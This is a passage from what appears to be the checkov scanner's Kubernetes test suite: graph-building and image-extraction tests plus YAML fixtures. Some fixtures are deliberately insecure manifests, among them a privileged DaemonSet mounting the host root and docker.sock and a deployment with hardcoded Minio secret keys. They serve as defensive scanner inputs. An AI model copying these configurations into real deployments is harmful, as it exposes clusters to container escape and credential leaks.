PATH_HIDDEN = "/Users/mblonder/dev/checkov/tests/kubernetes/graph/resources/definitions/.hidden/graph_check.yaml" PATH_NOT_HIDDEN = "/Users/mblonder/dev/checkov/tests/kubernetes/graph/resources/definitions/not_hidden/graph_check.yaml" class TestKubernetesUtilsZ(TestGraph): def test_build_resource_id_from_labels(self) -> None: resource = {PARENT_RESOURCE_KEY_NAME: "deployment_name"} resource_type = "Pod" namespace = "default" labels = {"app": "foo", "cluster": "bar"} result = build_resource_id_from_labels(resource_type, namespace, labels, resource) self.assertEqual(result, "Pod.default.deployment_name.app-foo.cluster-bar") def test_build_resource_id_from_empty_labels(self) -> None: resource = {PARENT_RESOURCE_KEY_NAME: "deployment_name"} resource_type = "Pod" namespace = "namespace" labels = {} result = build_resource_id_from_labels(resource_type, namespace, labels, resource) self.assertEqual(result, "Pod.namespace.deployment_name.default") def test_should_include_path_include_hidden(self) -> None: ignore_hidden_dir = False should_include_hidden = should_include_path(PATH_HIDDEN, ignore_hidden_dir) should_include_not_hidden = should_include_path(PATH_NOT_HIDDEN, ignore_hidden_dir) self.assertEqual(should_include_hidden, True) self.assertEqual(should_include_not_hidden, True) def test_should_include_path_not_include_hidden(self) -> None: ignore_hidden_dir = True should_include_hidden = should_include_path(PATH_HIDDEN, ignore_hidden_dir) should_include_not_hidden = should_include_path(PATH_NOT_HIDDEN, ignore_hidden_dir) self.assertEqual(should_include_hidden, False) self.assertEqual(should_include_not_hidden, True) ================================================ FILE: tests/kubernetes/graph/test_local_graph.py ================================================ import os from checkov.kubernetes.graph_builder.graph_components.edge_builders.ServiceAccountEdgeBuilder import \ ServiceAccountEdgeBuilder from checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph from checkov.kubernetes.parser.parser import parse from tests.kubernetes.graph.base_graph_tests import TestGraph from checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags from checkov.kubernetes.kubernetes_utils import PARENT_RESOURCE_KEY_NAME, PARENT_RESOURCE_ID_KEY_NAME from checkov.kubernetes.graph_builder.graph_components.edge_builders.LabelSelectorEdgeBuilder import LabelSelectorEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.edge_builders.KeywordEdgeBuilder import KeywordEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.edge_builders.NetworkPolicyEdgeBuilder import NetworkPolicyEdgeBuilder TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestKubernetesLocalGraph(TestGraph): def test_build_graph_with_single_resource(self) -> None: relative_file_path = "../checks/example_AllowedCapabilities/cronjob-PASSED.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) resource = definitions[relative_file_path][0] local_graph = KubernetesLocalGraph(definitions) local_graph.build_graph(render_variables=False, graph_flags=K8sGraphFlags()) self.assertEqual(1, len(local_graph.vertices)) self.assert_vertex(local_graph.vertices[0], resource) def test_build_graph_with_multi_resources(self) -> None: relative_file_path = "../checks/example_DefaultNamespace/default-k8s-service-and-sa-PASSED2.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) local_graph = KubernetesLocalGraph(definitions) local_graph.build_graph(render_variables=False, graph_flags=K8sGraphFlags()) self.assertEqual(4, len(local_graph.vertices)) def test_build_graph_with_nested_resources(self) -> None: file = os.path.join(TEST_DIRNAME, 'resources', 'nested_resource.yaml') definitions = {} graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=False) (definitions[file], definitions_raw) = parse(file) local_graph = KubernetesLocalGraph(definitions) local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(2, len(local_graph.vertices)) assert local_graph.vertices[0].id == 'Deployment.default.deployment_name' assert local_graph.vertices[0].attributes.get('spec').get('template') is None assert local_graph.vertices[0].metadata.name == 'deployment_name' assert local_graph.vertices[0].metadata.selector.match_labels.get('app') == 'myapp' assert local_graph.vertices[0].metadata.labels is None assert local_graph.vertices[1].id == 'Pod.default.deployment_name.app-myapp' assert local_graph.vertices[1].config[PARENT_RESOURCE_KEY_NAME] == 'deployment_name' assert local_graph.vertices[1].config[PARENT_RESOURCE_ID_KEY_NAME] == 'Deployment.default.deployment_name' assert local_graph.vertices[1].config.get('kind') == 'Pod' assert local_graph.vertices[1].config.get('apiVersion') == local_graph.vertices[0].config.get('apiVersion') assert len(local_graph.vertices[1].attributes.get('spec').get('containers')) == 1 assert local_graph.vertices[1].metadata.name is None assert local_graph.vertices[1].metadata.selector.match_labels is None assert local_graph.vertices[1].metadata.labels.get('app') == 'myapp' def test_LabelSelectorEdgeBuilder_on_template_with_matched_label_and_selector(self) -> None: relative_file_path = "resources/LabelSelector/label_selector_match.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [LabelSelectorEdgeBuilder, ] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(2, len(local_graph.vertices)) self.assertEqual(1, len(local_graph.edges)) def test_LabelSelectorEdgeBuilder_on_template_with_non_matched_label_and_selector(self) -> None: relative_file_path = "resources/LabelSelector/label_selector_non_match.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [LabelSelectorEdgeBuilder, ] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(2, len(local_graph.vertices)) self.assertEqual(0, len(local_graph.edges)) def test_LabelSelectorEdgeBuilder_on_template_with_matched_and_non_matched_label_and_selector(self) -> None: relative_file_path = "resources/LabelSelector/label_selector_multiple_resources.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [LabelSelectorEdgeBuilder, ] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(3, len(local_graph.vertices)) self.assertEqual(1, len(local_graph.edges)) def test_KeywordEdgeBuilder_on_templates_with_matched_cluster_role_binding(self) -> None: relative_file_path = "resources/Keyword/clusterrolebinding.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [KeywordEdgeBuilder, ] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(6, len(local_graph.vertices)) self.assertEqual(3, len(local_graph.edges)) self.assertEqual(local_graph.edges[0].origin, 0) self.assertEqual(local_graph.edges[0].dest, 3) self.assertEqual(local_graph.edges[1].origin, 0) self.assertEqual(local_graph.edges[1].dest, 4) def test_KeywordEdgeBuilder_and_ServiceAccountEdgeBuilder_on_templates_with_pod_and_service_account(self) -> None: relative_file_path = "resources/Keyword/pod_service_account.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [KeywordEdgeBuilder, ServiceAccountEdgeBuilder()] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(4, len(local_graph.vertices)) self.assertEqual(3, len(local_graph.edges)) self.assertEqual(local_graph.edges[0].origin, 1) self.assertEqual(local_graph.edges[0].dest, 2) self.assertEqual(local_graph.edges[1].origin, 1) self.assertEqual(local_graph.edges[1].dest, 3) self.assertEqual(local_graph.edges[2].origin, 3) self.assertEqual(local_graph.edges[2].dest, 0) def test_LabelSelectorEdgeBuilder_on_templates_with_network_policy(self) -> None: relative_file_path = "resources/Keyword/network-policy-attached.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(5, len(local_graph.vertices)) self.assertEqual(4, len(local_graph.edges)) def test_extracting_pod_from_container_types(self) -> None: relative_file_path = "resources/statefulstate_nested_resource.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(2, len(local_graph.vertices)) self.assertEqual(1, len(local_graph.edges)) def test_deployment_with_incompatible_selector(self) -> None: relative_file_path = "resources/faulty_resources/incompatible_selector.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(2, len(local_graph.vertices)) self.assertEqual(0, len(local_graph.edges)) def test_KeywordEdgeBuilder_incompatible_cluster_role_binding(self) -> None: relative_file_path = "resources/faulty_resources/incompatible_clusterrolebinding.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [KeywordEdgeBuilder, ] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(6, len(local_graph.vertices)) self.assertEqual(1, len(local_graph.edges)) def test_deployment_with_missing_metadata(self) -> None: relative_file_path = "resources/faulty_resources/deployment_missing_metadata.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(0, len(local_graph.vertices)) self.assertEqual(0, len(local_graph.edges)) def test_custom_resource_should_not_extract_pod(self) -> None: relative_file_path = "resources/custom_resource.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True) local_graph = KubernetesLocalGraph(definitions) local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder] local_graph.build_graph(render_variables=False, graph_flags=graph_flags) self.assertEqual(1, len(local_graph.vertices)) self.assertEqual(0, len(local_graph.edges)) ================================================ FILE: tests/kubernetes/graph/test_running_graph_checks.py ================================================ from pathlib import Path import pytest from pytest_mock import MockerFixture from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter from tests.graph_utils.utils import GRAPH_FRAMEWORKS RESOURCES_DIR = Path(__file__).parent / "resources" @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_runner(mocker: MockerFixture, graph_framework): # given test_file_path = RESOURCES_DIR / "graph_check.yaml" runner_filter = RunnerFilter(checks=["CKV2_K8S_6"]) mocker.patch.dict("os.environ", {"CHECKOV_GRAPH_FRAMEWORK": graph_framework}) # when report = Runner().run(root_folder=None, files=[str(test_file_path)], runner_filter=runner_filter) # when summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 1 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/kubernetes/image_referencer/__init__.py ================================================ ================================================ FILE: tests/kubernetes/image_referencer/provider/__init__.py ================================================ ================================================ FILE: tests/kubernetes/image_referencer/provider/test_k8s.py ================================================ from unittest import mock import pytest from checkov.kubernetes.image_referencer.provider.k8s import KubernetesProvider from checkov.common.images.image_referencer import Image from tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \ add_vertices_to_graph_by_graph_framework @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/pod.yaml", "__endline__": 16, "__startline__": 1, "spec": { "initContainers": [ { "name": "init-sysctl", "image": "busybox", }, ], "containers": [ { "name": "test-container", "image": "nginx", }, ], }, "resource_type": "Pod", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): provider = KubernetesProvider(graph_connector=graph) images = provider.extract_images_from_resources() # then assert len(images) == 2 nginx_image = Image( file_path="/pod.yaml", name="nginx", start_line=1, end_line=16, related_resource_id="/pod.yaml:None", ) busybox_image = Image(file_path="/pod.yaml", name="busybox", start_line=1, end_line=16, related_resource_id="/pod.yaml:None") assert nginx_image in images assert busybox_image in images @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources_with_no_image(graph_framework): # given resource = { "file_path_": "/pod.yaml", "__endline__": 16, "__startline__": 1, "spec": { "containers": [ { "name": "test-container", }, ], }, "resource_type": "Pod", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): provider = KubernetesProvider(graph_connector=graph) images = provider.extract_images_from_resources() # then assert not images ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/cron_job.yaml ================================================ apiVersion: batch/v1 kind: CronJob metadata: name: hello spec: schedule: "* * * * *" jobTemplate: spec: template: spec: containers: - name: hello image: busybox:1.28 imagePullPolicy: IfNotPresent command: - /bin/sh - -c - date; echo Hello from the Kubernetes cluster restartPolicy: OnFailure ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/daemon_set.yaml ================================================ apiVersion: extensions/v1beta1 kind: DaemonSet metadata: name: newrelic-infra-agent labels: tier: monitoring app: newrelic-infra-agent version: v1 spec: template: metadata: labels: name: newrelic spec: # Filter to specific nodes: # nodeSelector: # app: newrelic hostPID: true hostIPC: true hostNetwork: true containers: - resources: requests: cpu: 0.15 securityContext: privileged: true image: newrelic/infrastructure name: newrelic command: [ "bash", "-c", "source /etc/kube-nr-infra/config && /usr/bin/newrelic-infra" ] volumeMounts: - name: newrelic-config mountPath: /etc/kube-nr-infra readOnly: true - name: dev mountPath: /dev - name: run mountPath: /var/run/docker.sock - name: log mountPath: /var/log - name: host-root mountPath: /host readOnly: true volumes: - name: newrelic-config secret: secretName: newrelic-config - name: dev hostPath: path: /dev - name: run hostPath: path: /var/run/docker.sock - name: log hostPath: path: /var/log - name: host-root hostPath: path: / ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/deployment.yaml ================================================ apiVersion: apps/v1 # for k8s versions before 1.9.0 use apps/v1beta2 and before 1.8.0 use extensions/v1beta1 kind: Deployment metadata: # This name uniquely identifies the Deployment name: minio-deployment spec: selector: matchLabels: app: minio strategy: type: Recreate template: metadata: labels: # Label is used as selector in the service. app: minio spec: # Refer to the PVC created earlier volumes: - name: storage persistentVolumeClaim: # Name of the PVC created earlier claimName: minio-pv-claim containers: - name: minio # Pulls the default Minio image from Docker Hub image: minio/minio:latest args: - server - /storage env: # Minio access key and secret key - name: MINIO_ACCESS_KEY value: "minio" - name: MINIO_SECRET_KEY value: "minio123" ports: - containerPort: 9000 hostPort: 9000 # Mount the volume into the pod volumeMounts: - name: storage # must match the volume name, above mountPath: "/storage" ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/deployment_config.yaml ================================================ apiVersion: v1 kind: DeploymentConfig metadata: name: rhel-tools spec: replicas: 1 strategy: type: Recreate template: metadata: labels: deploymentconfig: rhel-tools spec: serviceAccountName: hostaccess containers: - name: rhel-tools image: rhel7/rhel-tools command: [ "/bin/sh", "-c", "while true ; do date; sleep 1; done;" ] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / triggers: - type: ConfigChange ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/job.yaml ================================================ apiVersion: batch/v1 kind: Job metadata: name: pi spec: template: spec: containers: - name: pi image: perl:5.34.0 command: ["perl", "-Mbignum=bpi", "-wle", "print bpi(2000)"] restartPolicy: Never backoffLimit: 4 ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/pod.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: webserver labels: app2: webserver spec: serviceAccountName: over-privileged-sa2 containers: - name: webserver image: nginx:latest ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/pod_template.yaml ================================================ apiVersion: v1 kind: PodTemplate metadata: name: pod-test namespace: default template: metadata: name: pod-template spec: containers: - name: container image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100"] ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/replica_set.yaml ================================================ apiVersion: apps/v1 kind: ReplicaSet metadata: name: frontend labels: app: guestbook tier: frontend spec: # modify replicas according to your case replicas: 3 selector: matchLabels: tier: frontend template: metadata: labels: tier: frontend spec: containers: - name: php-redis image: gcr.io/google_samples/gb-frontend:v3 ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/replication_controller.yaml ================================================ apiVersion: v1 kind: ReplicationController metadata: name: es labels: component: elasticsearch spec: replicas: 1 template: metadata: labels: component: elasticsearch spec: serviceAccount: elasticsearch initContainers: - name: init-sysctl image: busybox imagePullPolicy: IfNotPresent command: ["sysctl", "-w", "vm.max_map_count=262144"] securityContext: privileged: true containers: - name: es securityContext: capabilities: add: - IPC_LOCK image: quay.io/pires/docker-elasticsearch-kubernetes:5.6.2 env: - name: KUBERNETES_CA_CERTIFICATE_FILE value: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt - name: NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: "CLUSTER_NAME" value: "myesdb" - name: "DISCOVERY_SERVICE" value: "elasticsearch" - name: NODE_MASTER value: "true" - name: NODE_DATA value: "true" - name: HTTP_ENABLE value: "true" ports: - containerPort: 9200 name: http protocol: TCP - containerPort: 9300 name: transport protocol: TCP volumeMounts: - mountPath: /data name: storage volumes: - name: storage emptyDir: {} ================================================ FILE: tests/kubernetes/image_referencer/resources/k8s/stateful_set.yaml ================================================ apiVersion: apps/v1 # for k8s versions before 1.9.0 use apps/v1beta2 and before 1.8.0 use extensions/v1beta1 kind: StatefulSet metadata: name: cockroachdb labels: app: cockroachdb spec: serviceName: "cockroachdb" replicas: 3 selector: matchLabels: app: cockroachdb template: metadata: labels: app: cockroachdb spec: # Init containers are run only once in the lifetime of a pod, before # it's started up for the first time. It has to exit successfully # before the pod's main containers are allowed to start. # This particular init container does a DNS lookup for other pods in # the set to help determine whether or not a cluster already exists. # If any other pods exist, it creates a file in the cockroach-data # directory to pass that information along to the primary container that # has to decide what command-line flags to use when starting CockroachDB. # This only matters when a pod's persistent volume is empty - if it has # data from a previous execution, that data will always be used. # # If your Kubernetes cluster uses a custom DNS domain, you will have # to add an additional arg to this pod: "-domain=" initContainers: - name: bootstrap image: cockroachdb/cockroach-k8s-init:0.2 imagePullPolicy: IfNotPresent args: - "-on-start=/on-start.sh" - "-service=cockroachdb" env: - name: POD_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace volumeMounts: - name: datadir mountPath: "/cockroach/cockroach-data" affinity: podAntiAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 100 podAffinityTerm: labelSelector: matchExpressions: - key: app operator: In values: - cockroachdb topologyKey: kubernetes.io/hostname containers: - name: cockroachdb image: cockroachdb/cockroach:v1.1.0 imagePullPolicy: IfNotPresent ports: - containerPort: 26257 name: grpc - containerPort: 8080 name: http volumeMounts: - name: datadir mountPath: /cockroach/cockroach-data command: - "/bin/bash" - "-ecx" - | # The use of qualified `hostname -f` is crucial: # Other nodes aren't able to look up the unqualified hostname. CRARGS=("start" "--logtostderr" "--insecure" "--host" "$(hostname -f)" "--http-host" "0.0.0.0") # We only want to initialize a new cluster (by omitting the join flag) # if we're sure that we're the first node (i.e. index 0) and that # there aren't any other nodes running as part of the cluster that # this is supposed to be a part of (which indicates that a cluster # already exists and we should make sure not to create a new one). # It's fine to run without --join on a restart if there aren't any # other nodes. if [ ! "$(hostname)" == "cockroachdb-0" ] || \ [ -e "/cockroach/cockroach-data/cluster_exists_marker" ] then # We don't join cockroachdb in order to avoid a node attempting # to join itself, which currently doesn't work # (https://github.com/cockroachdb/cockroach/issues/9625). CRARGS+=("--join" "cockroachdb-public") fi exec /cockroach/cockroach ${CRARGS[*]} # No pre-stop hook is required, a SIGTERM plus some time is all that's # needed for graceful shutdown of a node. terminationGracePeriodSeconds: 60 volumes: - name: datadir persistentVolumeClaim: claimName: datadir volumeClaimTemplates: - metadata: name: datadir spec: accessModes: - "ReadWriteOnce" resources: requests: storage: 1Gi ================================================ FILE: tests/kubernetes/image_referencer/test_manager.py ================================================ from unittest import mock import pytest from checkov.kubernetes.image_referencer.manager import KubernetesImageReferencerManager from checkov.common.images.image_referencer import Image from tests.graph_utils.utils import set_graph_by_graph_framework, GRAPH_FRAMEWORKS, \ add_vertices_to_graph_by_graph_framework @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/pod.yaml", "__endline__": 16, "__startline__": 1, "spec": { "containers": [ { "name": "test-container", "image": "nginx", }, ], }, "resource_type": "Pod", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): images = KubernetesImageReferencerManager(graph_connector=graph).extract_images_from_resources() # then assert images == [ Image( file_path="/pod.yaml", name="nginx", start_line=1, end_line=16, related_resource_id="/pod.yaml:None", ), ] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_no_duplications_while_extracting_image_names(graph_framework): resource = { "file_path_": "/pod.yaml", "__endline__": 16, "__startline__": 1, "spec": { "initContainers": [ { "name": "test-container", "image": "nginx", }, ], "containers": [ { "name": "test-container", "image": "nginx", }, ], }, "resource_type": "Pod", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph, 1, 'duplicated_image') with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): manager = KubernetesImageReferencerManager(graph_connector=graph) images = manager.extract_images_from_resources() assert len(images) == 1 image = images[0] assert image.name == 'nginx' ================================================ FILE: tests/kubernetes/image_referencer/test_runner_k8s_resources.py ================================================ from pathlib import Path from unittest import mock import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.output.report import CheckType from checkov.runner_filter import RunnerFilter from checkov.kubernetes.runner import Runner from tests.common.image_referencer.test_utils import ( mock_get_empty_license_statuses_async, mock_get_license_statuses_async, mock_get_image_cached_result_async, ) from tests.graph_utils.utils import GRAPH_FRAMEWORKS RESOURCES_PATH = Path(__file__).parent / "resources/k8s" @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_pod_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "pod.yaml" image_name = "nginx:latest" code_lines = "1-14" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 1 assert len(k8s_report.passed_checks) == 69 assert len(k8s_report.failed_checks) == 20 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 3 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert sca_image_report.image_cached_results[0]["dockerImageName"] == "nginx:latest" assert ( "kubernetes/image_referencer/resources/k8s/pod.yaml:Pod.default.webserver" in sca_image_report.image_cached_results[0]["relatedResourceId"] ) assert sca_image_report.image_cached_results[0]["packages"] == [ {"type": "os", "name": "tzdata", "version": "2021a-1+deb11u5", "licenses": []} ] assert len(sca_image_report.passed_checks) == 1 assert len(sca_image_report.failed_checks) == 4 assert len(sca_image_report.image_cached_results) == 1 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_cron_job_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "cron_job.yaml" image_name = "busybox:1.28" code_lines = "1-20" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 1 assert len(k8s_report.passed_checks) == 69 assert len(k8s_report.failed_checks) == 17 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_daemon_set_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "daemon_set.yaml" image_name = "newrelic/infrastructure" code_lines = "11-59" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 2 assert len(k8s_report.passed_checks) == 66 assert len(k8s_report.failed_checks) == 23 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_deployment_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "deployment.yaml" image_name = "minio/minio:latest" code_lines = "13-44" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if 